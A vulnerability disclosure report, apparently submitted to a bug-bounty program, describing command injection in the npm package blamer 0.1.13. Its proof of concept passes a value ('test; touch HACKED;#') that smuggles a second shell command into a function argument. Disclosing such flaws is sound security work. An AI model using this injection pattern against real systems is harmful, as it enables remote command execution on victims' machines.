How it was found

I would like to report a RCE issue in the blamer module. It allows to execute arbitrary commands remotely inside the victim's PC

Module

module name: blamer version: 0.1.13 npm page: https://www.npmjs.com/package/blamer

Module Description

Blamer is a tool for get information about author of code from version control system. Supports git and subversion.

Module Stats

[~1800] downloads in the last day [12,910] downloads in the last week [~52k] downloads in the last month

Vulnerability Description

The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here: https://github.com/kucherenko/blamer/blob/master/src/vcs/git.js#L24

Steps To Reproduce:

1. Create the following PoC file:

// poc.js
var Blamer = require('blamer');
var blamer = new Blamer('git');
blamer.blameByFile('poc.js', 'test; touch HACKED;#');

1. Check there aren't files called HACKED
2. Execute the following commands in another terminal:

npm i blamer # Install affected module
node poc.js #  Run the PoC

1. Recheck the files: now HACKED has been created :) {F681902}

Patch

Don't format commands using insecure user's inputs :)

Supporting Material/References:

• [OPERATING SYSTEM VERSION]: Kali Linux

Wrap up

• I contacted the maintainer to let them know: [N]
• I opened an issue in the related repository: [N]

Impact

RCE via command formatting on blamer